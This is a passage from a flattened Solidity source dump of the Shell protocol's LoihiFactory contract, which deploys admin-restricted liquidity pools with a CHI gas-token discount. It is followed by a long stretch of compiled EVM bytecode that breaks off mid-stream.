ViewLiquidity.viewLiquidity(shell); } /// @notice view the assimilator address for a derivative /// @return assimilator_ the assimilator address function assimilator ( address _derivative ) public view returns ( address assimilator_ ) { assimilator_ = shell.assimilators[_derivative].addr; } } ////// src/LoihiFactory.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is disstributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ // Builds new BPools, logging their addresses and providing `isBPool(address) -> (bool)` /* import "./Loihi.sol"; */ /* import "./interfaces/IFreeFromUpTo.sol"; */ contract LoihiFactory { address private cowri; event NewShell(address indexed caller, address indexed shell); event CowriSet(address indexed caller, address indexed cowri); mapping(address => bool) private _isShell; IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); modifier discountCHI { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41130); } function isShell(address _shell) external view returns (bool) { return _isShell[_shell]; } function newShell( address[] memory _assets, uint[] memory _assetWeights, address[] memory _derivativeAssimilators ) public discountCHI returns (Loihi) { if (msg.sender != cowri) revert("Shell/must-be-cowri"); Loihi loihiShell = new Loihi( _assets, _assetWeights, _derivativeAssimilators ); loihiShell.transferOwnership(msg.sender); _isShell[address(loihiShell)] = true; emit NewShell(msg.sender, address(loihiShell)); return loihiShell; } constructor() public { cowri = msg.sender; emit CowriSet(msg.sender, msg.sender); } function getCowri () external view returns (address) { return cowri; } function setCowri (address _c) external { require(msg.sender == cowri, "Shell/must-be-cowri"); emit CowriSet(msg.sender, _c); cowri = _c; } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c80630c1786921461005c57806312443ef3146100b8578063b22aa723146102d8578063c92aecc414610322578063d647b4531461036c575b600080fd5b61009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103b0565b604051808215151515815260200191505060405180910390f35b610296600480360360608110156100ce57600080fd5b81019080803590602001906401000000008111156100eb57600080fd5b8201836020820111156100fd57600080fd5b8035906020019184602083028401116401000000008311171561011f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561017f57600080fd5b82018360208201111561019157600080fd5b803590602001918460208302840111640100000000831117156101b357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561021357600080fd5b82018360208201111561022557600080fd5b8035906020019184602083028401116401000000008311171561024757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610406565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102e0610821565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032a61084a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ae6004803603602081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085c565b005b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000805a90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5368656c6c2f6d7573742d62652d636f7772690000000000000000000000000081525060200191505060405180910390fd5b60008585856040516104df906109bb565b80806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b8381101561052757808201518184015260208101905061050c565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561056957808201518184015260208101905061054e565b50505050905001848103825285818151815260200191508051906020019060200280838360005b838110156105ab578082015181840152602081019050610590565b505050509050019650505050505050604051809103906000f0801580156105d6573d6000803e3d6000fd5b5090508073ffffffffffffffffffffffffffffffffffffffff1663f2fde38b336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561065857600080fd5b505af115801561066c573d6000803e3d6000fd5b5050505060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2dc376d1742be41b4571ef06c81ff74377dc024e1e8f3e99bc933495a1c1f1b260405160405180910390a3809250506000803690506010025a8361520801030190506d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a0aa61374a85018161077257fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156107dc57600080fd5b505af11580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b81019080805190602001909291905050505050509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6d4946c0e9f43f4dee607b0ef1fa1c81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5368656c6c2f6d7573742d62652d636f7772690000000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fa036a4a59806eca3407c2f7231de179225303fe18c9cd1e2b0c85ae29b5f764860405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61507180620009ca8339019056fe60806040526000600d60006101000a81548160ff0219169083151502179055506000600d60016101000a81548160ff0219169083151502179055506001600d60166101000a81548160ff0219169083151502179055503480156200006257600080fd5b506040516200507138038062005071833981810160405260608110156200008857600080fd5b8101908080516040519392919084640100000000821115620000a957600080fd5b83820191506020820185811115620000c057600080fd5b8251866020820283011164010000000082111715620000de57600080fd5b8083526020830192505050908051906020019060200280838360005b8381101562000117578082015181840152602081019050620000fa565b50505050905001604052602001805160405193929190846401000000008211156200014157600080fd5b838201915060208201858111156200015857600080fd5b82518660208202830111640100000000821117156200017657600080fd5b8083526020830192505050908051906020019060200280838360005b83811015620001af57808201518184015260208101905062000192565b5050505090500160405260200180516040519392919084640100000000821115620001d957600080fd5b83820191506020820185811115620001f057600080fd5b82518660208202830111640100000000821117156200020e57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015620002475780820151818401526020810190506200022a565b5050505090500160405250505033600d60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f0d18b5fd22306e373229b9439188228edca81207d1667f604daf6cef8aa3ee6760405160405180910390a373ac367cb36512f8fe9bd4cf0165fa26e0f32bbf2463e8d14ff16000600b600c600a8888886040518863ffffffff1660e01b815260040180888152602001878152602001868152602001858152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015620003895780820151818401526020810190506200036c565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015620003cd578082015181840152602081019050620003b0565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101562000411578082015181840152602081019050620003f4565b505050509050019a505050505050505050505060006040518083038186803b1580156200043d57600080fd5b505af415801562000452573d6000803e3d6000fd5b50505050505050614c0880620004696000396000f3fe608060405234801561001057600080fd5b50600436106102695760003560e01c8063775d986511610151578063a9059cbb116100c3578063c92aecc411610087578063c92aecc4146113cb578063d828bb8814611415578063dd62ed3e1461146b578063f11d2ff4146114e3578063f2fde38b1461154f578063f8bda7b91461159357610269565b8063a9059cbb1461120e578063ba443d3314611274578063bbde3adc146112d0578063c0046e3914611353578063c7ee005e146113c157610269565b80638da5cb5b116101155780638da5cb5b14610e385780639195318914610e8257806395d89b4114610f645780639667708614610fe75780639d16b2c51461110a578063a8e9d528146111a057610269565b8063775d986514610bf25780637e932d3214610c7f5780637ec8c85714610caf5780638334278d14610d48578063838e6a2214610db657610269565b8063313ce567116101ea578063525d0da7116101ae578063525d0da714610866578063546e0c9b146108e85780635ccd4afd146109de57806360c0018a14610ac057806370a0823114610b0457806372b4129a14610b5c57610269565b8063313ce567146105aa5780633cae77f7146105ce5780633cea3c89146106525780634737287d146106dc57806351dbb2a71461077057610269565b80630ceb9386116102315780630ceb93861461047457806318160ddd146104965780631a686502146104b457806323b872dd1461051a5780632a14b80a146105a057610269565b806301ffc9a71461026e578063054f7d9c146102d357806306fdde03146102f5578063095ea7b3146103785780630b2583c8146103de575b600080fd5b6102b96004803603602081101561028457600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506115d4565b604051808215151515815260200191505060405180910390f35b6102db6116c3565b604051808215151515815260200191505060405180910390f35b6102fd6116d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033d578082015181840152602081019050610322565b50505050905090810190601f16801561036a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103c46004803603604081101561038e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061170f565b604051808215151515815260200191505060405180910390f35b61045e600480360360a08110156103f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050611898565b6040518082815260200191505060405180910390f35b61047c611bde565b604051808215151515815260200191505060405180910390f35b61049e611bf1565b6040518082815260200191505060405180910390f35b6104bc611bfd565b6040518083815260200180602001828103825283818151815260200191508051906020019060200280838360005b838110156105055780820151818401526020810190506104ea565b50505050905001935050505060405180910390f35b6105866004803603606081101561053057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d38565b604051808215151515815260200191505060405180910390f35b6105a8611ef6565b005b6105b26120c9565b604051808260ff1660ff16815260200191505060405180910390f35b610610600480360360208110156105e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067e6004803603602081101561066857600080fd5b810190808035906020019092919050505061213c565b6040518083815260200180602001828103825283818151815260200191508051906020019060200280838360005b838110156106c75780820151818401526020810190506106ac565b50505050905001935050505060405180910390f35b610712600480360360408110156106f257600080fd5b8101908080359060200190929190803590602001909291905050506122e6565b6040518083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561075b578082015181840152602081019050610740565b50505050905001935050505060405180910390f35b6108506004803603608081101561078657600080fd5b81019080803590602001906401000000008111156107a357600080fd5b8201836020820111156107b557600080fd5b803590602001918460208302840111640100000000831117156107d757600080fd5b9091929391929390803590602001906401000000008111156107f857600080fd5b82018360208201111561080a57600080fd5b8035906020019184602083028401116401000000008311171561082c57600080fd5b909192939192939080359060200190929190803590602001909291905050506125c1565b6040518082815260200191505060405180910390f35b6108d26004803603606081101561087c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612865565b6040518082815260200191505060405180910390f35b6109c8600480360360808110156108fe57600080fd5b810190808035906020019064010000000081111561091b57600080fd5b82018360208201111561092d57600080fd5b8035906020019184602083028401116401000000008311171561094f57600080fd5b90919293919293908035906020019064010000000081111561097057600080fd5b82018360208201111561098257600080fd5b803590602001918460208302840111640100000000831117156109a457600080fd5b909192939192939080359060200190929190803590602001909291905050506129d1565b6040518082815260200191505060405180910390f35b610aaa600480360360408110156109f457600080fd5b8101908080359060200190640100000000811115610a1157600080fd5b820183602082011115610a2357600080fd5b80359060200191846020830284011164010000000083111715610a4557600080fd5b909192939192939080359060200190640100000000811115610a6657600080fd5b820183602082011115610a7857600080fd5b80359060200191846020830284011164010000000083111715610a9a57600080fd5b9091929391929390505050612c75565b6040518082815260200191505060405180910390f35b610b0260048036036020811015610ad657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612de0565b005b610b4660048036036020811015610b1a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f26565b6040518082815260200191505060405180910390f35b610bdc600480360360a0811015610b7257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050612f71565b6040518082815260200191505060405180910390f35b610c2860048036036040811015610c0857600080fd5b8101908080359060200190929190803590602001909291905050506132b7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610c6b578082015181840152602081019050610c50565b505050509050019250505060405180910390f35b610cad60048036036020811015610c9557600080fd5b810190808035151590602001909291905050506135a0565b005b610cf160048036036020811015610cc557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506136bb565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610d34578082015181840152602081019050610d19565b505050509050019250505060405180910390f35b610d7460048036036020811015610d5e57600080fd5b81019080803590602001909291905050506138a8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610e2260048036036060811015610dcc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506138e4565b6040518082815260200191505060405180910390f35b610e40613a50565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610f4e60048036036040811015610e9857600080fd5b8101908080359060200190640100000000811115610eb557600080fd5b820183602082011115610ec757600080fd5b80359060200191846020830284011164010000000083111715610ee957600080fd5b909192939192939080359060200190640100000000811115610f0a57600080fd5b820183602082011115610f1c57600080fd5b80359060200191846020830284011164010000000083111715610f3e57600080fd5b9091929391929390505050613a76565b6040518082815260200191505060405180910390f35b610f6c613be1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610fac578082015181840152602081019050610f91565b50505050905090810190601f168015610fd95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6110b360048036036040811015610ffd57600080fd5b810190808035906020019064010000000081111561101a57600080fd5b82018360208201111561102c57600080fd5b8035906020019184602083028401116401000000008311171561104e57600080fd5b90919293919293908035906020019064010000000081111561106f57600080fd5b82018360208201111561108157600080fd5b803590602001918460208302840111640100000000831117156110a357600080fd5b9091929391929390505050613c1a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156110f65780820151818401526020810190506110db565b505050509050019250505060405180910390f35b61118a600480360360a081101561112057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050613e44565b6040518082815260200191505060405180910390f35b6111cc600480360360208110156111b657600080fd5b8101908080359060200190929190505050614284565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61125a6004803603604081101561122457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506142c0565b604051808215151515815260200191505060405180910390f35b6112b66004803603602081101561128a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614449565b604051808215151515815260200191505060405180910390f35b6112fc600480360360208110156112e657600080fd5b8101908080359060200190929190505050614474565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561133f578082015181840152602081019050611324565b505050509050019250505060405180910390f35b61137f6004803603602081101561136957600080fd5b810190808035906020019092919050505061462d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6113c9614669565b005b6113d36146d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b611469600480360360a081101561142b57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506146e5565b005b6114cd6004803603604081101561148157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061483f565b6040518082815260200191505060405180910390f35b6114eb6148c8565b6040518088600f0b600f0b815260200187600f0b600f0b815260200186600f0b600f0b815260200185600f0b600f0b815260200184600f0b600f0b815260200183600f0b600f0b815260200182815260200197505050505050505060405180910390f35b6115916004803603602081101561156557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614946565b005b61159b614ac9565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b6000817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166301ffc9a760e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061166d5750817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916637f5828d060e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806116bc5750817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166336372b0760e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b600d60019054906101000a900460ff1681565b6040518060400160405280600681526020017f5368656c6c73000000000000000000000000000000000000000000000000000081525081565b6000600d60169054906101000a900460ff16611793576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff021916908315150217905550731098633d31b6fe64a5964d289f549503e0c7b7f763dfba10ed600085856040518463ffffffff1660e01b8152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060206040518083038186803b15801561183a57600080fd5b505af415801561184e573d6000803e3d6000fd5b505050506040513d602081101561186457600080fd5b810190808051906020019092919050505090506001600d60166101000a81548160ff02191690831515021790555092915050565b600081804210611910576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5368656c6c2f74782d646561646c696e652d706173736564000000000000000081525060200191505060405180910390fd5b600d60019054906101000a900460ff1615611976576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b600d60169054906101000a900460ff166119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff02191690831515021790555073e2f4b59f21dd7b5d6638dd4d8b9bd7d7b661bf0b634f25089d6000898989336040518663ffffffff1660e01b8152600401808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060206040518083038186803b158015611b0757600080fd5b505af4158015611b1b573d6000803e3d6000fd5b505050506040513d6020811015611b3157600080fd5b81019080805190602001909291905050509150838211611bb9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5368656c6c2f62656c6f772d6d696e2d7461726765742d616d6f756e7400000081525060200191505060405180910390fd5b6001600d60166101000a81548160ff0219169083151502179055505095945050505050565b600d60009054906101000a900460ff1681565b60008060040154905090565b60006060730c63adc339af1685d14e173937a6a436f9a00c79638ae9716e60006040518263ffffffff1660e01b81526004018082815260200191505060006040518083038186803b158015611c5157600080fd5b505af4158015611c65573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506040811015611c8f57600080fd5b810190808051906020019092919080516040519392919084640100000000821115611cb957600080fd5b83820191506020820185811115611ccf57600080fd5b8251866020820283011164010000000082111715611cec57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611d23578082015181840152602081019050611d08565b50505050905001604052505050915091509091565b6000600d60169054906101000a900460ff16611dbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff021916908315150217905550731098633d31b6fe64a5964d289f549503e0c7b7f763c061e54160008686866040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060206040518083038186803b158015611e9757600080fd5b505af4158015611eab573d6000803e3d6000fd5b505050506040513d6020811015611ec157600080fd5b810190808051906020019092919050505090506001600d60166101000a81548160ff0219169083151502179055509392505050565b600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5368656c6c2f63616c6c65722d69732d6e6f742d6f776e65720000000000000081525060200191505060405180910390fd5b600d60019054906101000a900460ff1661203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5368656c6c2f6d7573742d62652d66726f7a656e00000000000000000000000081525060200191505060405180910390fd5b735f2c7b5baeecb4f02f799f617887463b51cc29c7635f868a7c600060096040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b15801561209457600080fd5b505af41580156120a8573d6000803e3d6000fd5b505050506001600d60006101000a81548160ff021916908315150217905550565b601281565b60008060080160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006060600d60019054906101000a900460ff16156121a6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b7323990d7f6b3dea51539d376004bd76fc91994185638935c3786000856040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b1580156121fe57600080fd5b505af4158015612212573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250604081101561223c57600080fd5b81019080805190602001909291908051604051939291908464010000000082111561226657600080fd5b8382019150602082018581111561227c57600080fd5b825186602082028301116401000000008211171561229957600080fd5b8083526020830192505050908051906020019060200280838360005b838110156122d05780820151818401526020810190506122b5565b5050505090500160405250505091509150915091565b6000606082804210612360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5368656c6c2f74782d646561646c696e652d706173736564000000000000000081525060200191505060405180910390fd5b600d60019054906101000a900460ff16156123c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b600d60169054906101000a900460ff16612448576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff0219169083151502179055507323990d7f6b3dea51539d376004bd76fc91994185638f54062c6000876040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b1580156124bb57600080fd5b505af41580156124cf573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060408110156124f957600080fd5b81019080805190602001909291908051604051939291908464010000000082111561252357600080fd5b8382019150602082018581111561253957600080fd5b825186602082028301116401000000008211171561255657600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561258d578082015181840152602081019050612572565b50505050905001604052505050925092506001600d60166101000a81548160ff021916908315150217905550509250929050565b600081804210612639576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5368656c6c2f74782d646561646c696e652d706173736564000000000000000081525060200191505060405180910390fd5b600d60019054906101000a900460ff161561269f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b600d60169054906101000a900460ff16612721576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff0219169083151502179055507351448f3bcb4c9e86e809871e23dcee79722fc88063b027b2ab60008a8a8a8a8a6040518763ffffffff1660e01b81526004018087815260200180602001806020018481526020018381038352888882818152602001925060200280828437600081840152601f19601f8201169050808301925050508381038252868682818152602001925060200280828437600081840152601f19601f8201169050808301925050509850505050505050505060206040518083038186803b15801561280257600080fd5b505af4158015612816573d6000803e3d6000fd5b505050506040513d602081101561282c57600080fd5b810190808051906020019092919050505091506001600d60166101000a81548160ff021916908315150217905550509695505050505050565b6000600d60019054906101000a900460ff16156128cd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b73e2f4b59f21dd7b5d6638dd4d8b9bd7d7b661bf0b637f0b121360008686866040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060206040518083038186803b15801561298d57600080fd5b505af41580156129a1573d6000803e3d6000fd5b505050506040513d60208110156129b757600080fd5b810190808051906020019092919050505090509392505050565b600081804210612a49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5368656c6c2f74782d646561646c696e652d706173736564000000000000000081525060200191505060405180910390fd5b600d60019054906101000a900460ff1615612aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b600d60169054906101000a900460ff16612b31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff0219169083151502179055507351448f3bcb4c9e86e809871e23dcee79722fc88063894d5ed460008a8a8a8a8a6040518763ffffffff1660e01b81526004018087815260200180602001806020018481526020018381038352888882818152602001925060200280828437600081840152601f19601f8201169050808301925050508381038252868682818152602001925060200280828437600081840152601f19601f8201169050808301925050509850505050505050505060206040518083038186803b158015612c1257600080fd5b505af4158015612c26573d6000803e3d6000fd5b505050506040513d6020811015612c3c57600080fd5b810190808051906020019092919050505091506001600d60166101000a81548160ff021916908315150217905550509695505050505050565b6000600d60019054906101000a900460ff1615612cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b7351448f3bcb4c9e86e809871e23dcee79722fc88063974ed1bf6000878787876040518663ffffffff1660e01b81526004018086815260200180602001806020018381038352878782818152602001925060200280828437600081840152601f19601f8201169050808301925050508381038252858582818152602001925060200280828437600081840152601f19601f82011690508083019250505097505050505050505060206040518083038186803b158015612d9b57600080fd5b505af4158015612daf573d6000803e3d6000fd5b505050506040513d6020811015612dc557600080fd5b81019080805190602001909291905050509050949350505050565b600d60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612ea3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5368656c6c2f63616c6c65722d69732d6e6f742d6f776e65720000000000000081525060200191505060405180910390fd5b600060080160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556000820160146101000a81549060ff0219169055505050565b60008060050160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081804210612fe9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5368656c6c2f74782d646561646c696e652d706173736564000000000000000081525060200191505060405180910390fd5b600d60019054906101000a900460ff161561304f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180614ba46030913960400191505060405180910390fd5b600d60169054906101000a900460ff166130d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5368656c6c2f72652d656e74657265640000000000000000000000000000000081525060200191505060405180910390fd5b6000600d60166101000a81548160ff02191690831515021790555073e2f4b59f21dd7b5d6638dd4d8b9bd7d7b661bf0b63055b56096000898988336040518663ffffffff1660e01b8152600401808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050